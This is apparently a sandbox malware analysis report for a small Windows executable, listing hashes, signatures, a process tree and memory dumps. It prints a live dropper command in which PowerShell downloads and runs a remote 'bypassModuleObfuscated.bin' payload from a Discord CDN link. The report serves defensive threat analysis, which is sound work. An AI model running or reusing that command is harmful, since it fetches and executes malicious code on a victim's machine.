f92b72efa4b921165b45325605cdaff539b578fea3fb399a6a30aee7ea8f593d

Analysis

max time kernel
164s
max time network
174s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
31/12/2023, 04:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

27f86c8478cbac078a5cbf3a94b1a488.exe
Size

14KB
MD5

27f86c8478cbac078a5cbf3a94b1a488
SHA1

69338d8bad38bb4175cf3335d9e676ee28472146
SHA256

f92b72efa4b921165b45325605cdaff539b578fea3fb399a6a30aee7ea8f593d
SHA512

a094adff37ea177388d87753f7998edb50afa4da49584d80acfcf276e73b2122080dda98e77b66247d1f97528992479802cb19cfa648f8db4887ae0617868fd7
SSDEEP

192:eEyNUK3W2Q/ie8j68j68j68j68j8hTMI2RkpT8y4z6OGe/a0wZJVnojVYKSP4f7N:eEIUEkIy4zGe/+ZJVnojVoM7s6mzS

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://cdn.discordapp.com/attachments/871090137654767678/873678389024792617/bypassModuleObfuscated.bin

Signatures

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2144	powershell.exe
2144	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2144	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1812 wrote to memory of 2772	1812	27f86c8478cbac078a5cbf3a94b1a488.exe	91
PID 1812 wrote to memory of 2772	1812	27f86c8478cbac078a5cbf3a94b1a488.exe	91
PID 1812 wrote to memory of 2772	1812	27f86c8478cbac078a5cbf3a94b1a488.exe	91
PID 2772 wrote to memory of 2144	2772	cmd.exe	95
PID 2772 wrote to memory of 2144	2772	cmd.exe	95
PID 2772 wrote to memory of 2144	2772	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\27f86c8478cbac078a5cbf3a94b1a488.exe
"C:\Users\Admin\AppData\Local\Temp\27f86c8478cbac078a5cbf3a94b1a488.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1812
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).DownloadString('https://cdn.discordapp.com/attachments/871090137654767678/873678389024792617/bypassModuleObfuscated.bin')
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).DownloadString('https://cdn.discordapp.com/attachments/871090137654767678/873678389024792617/bypassModuleObfuscated.bin')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2144

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gdla1ton.1cn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2144-6-0x0000000002470000-0x0000000002480000-memory.dmp

Filesize
64KB

Download
memory/2144-8-0x0000000004D50000-0x0000000004D72000-memory.dmp

Filesize
136KB

Download
memory/2144-3-0x0000000074A50000-0x0000000075200000-memory.dmp

Filesize
7.7MB

Download
memory/2144-4-0x0000000002470000-0x0000000002480000-memory.dmp

Filesize
64KB

Download
memory/2144-5-0x0000000004EC0000-0x00000000054E8000-memory.dmp

Filesize
6.2MB

Download
memory/2144-0-0x0000000074A50000-0x0000000075200000-memory.dmp

Filesize
7.7MB

Download
memory/2144-7-0x0000000002470000-0x0000000002480000-memory.dmp

Filesize
64KB

Download
memory/2144-2-0x0000000004850000-0x0000000004886000-memory.dmp

Filesize
216KB

Download
memory/2144-9-0x00000000055A0000-0x0000000005606000-memory.dmp

Filesize
408KB

Download
memory/2144-10-0x0000000005680000-0x00000000056E6000-memory.dmp

Filesize
408KB

Download
memory/2144-1-0x0000000002470000-0x0000000002480000-memory.dmp

Filesize
64KB

Download
memory/2144-16-0x0000000005730000-0x0000000005A84000-memory.dmp

Filesize
3.3MB

Download
memory/2144-21-0x0000000005D30000-0x0000000005D4E000-memory.dmp

Filesize
120KB

Download
memory/2144-22-0x0000000005F00000-0x0000000005F4C000-memory.dmp

Filesize
304KB

Download